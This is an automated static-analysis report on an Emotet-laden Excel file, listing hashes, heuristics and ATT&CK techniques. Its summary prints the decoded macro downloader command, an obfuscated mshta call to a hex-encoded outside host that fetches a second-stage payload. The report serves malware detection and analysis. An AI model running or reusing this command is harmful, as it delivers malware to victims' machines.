Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 d9aa227e83147f0e…

MALICIOUS

Office (OLE) / .XLSX

129.1 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: e1c328d8a781944848a9b91f5bfb27ff SHA-1: 2d52a29bb5095f4987361aed52e825dfd7268937 SHA-256: d9aa227e83147f0ed898f622eb7ae6f4363be60a2d614eba87ec88dc0ab0c4de
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristics indicate the presence of an Excel 4.0 macro with an Auto_Open entry, and ClamAV identifies it as Emotet. The extracted macro script explicitly defines a string that reconstructs to 'cmd /c m^sh^t^a http://0xc12a24f5/cc.html', which is used to download a second-stage payload. This indicates a downloader attack pattern.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes

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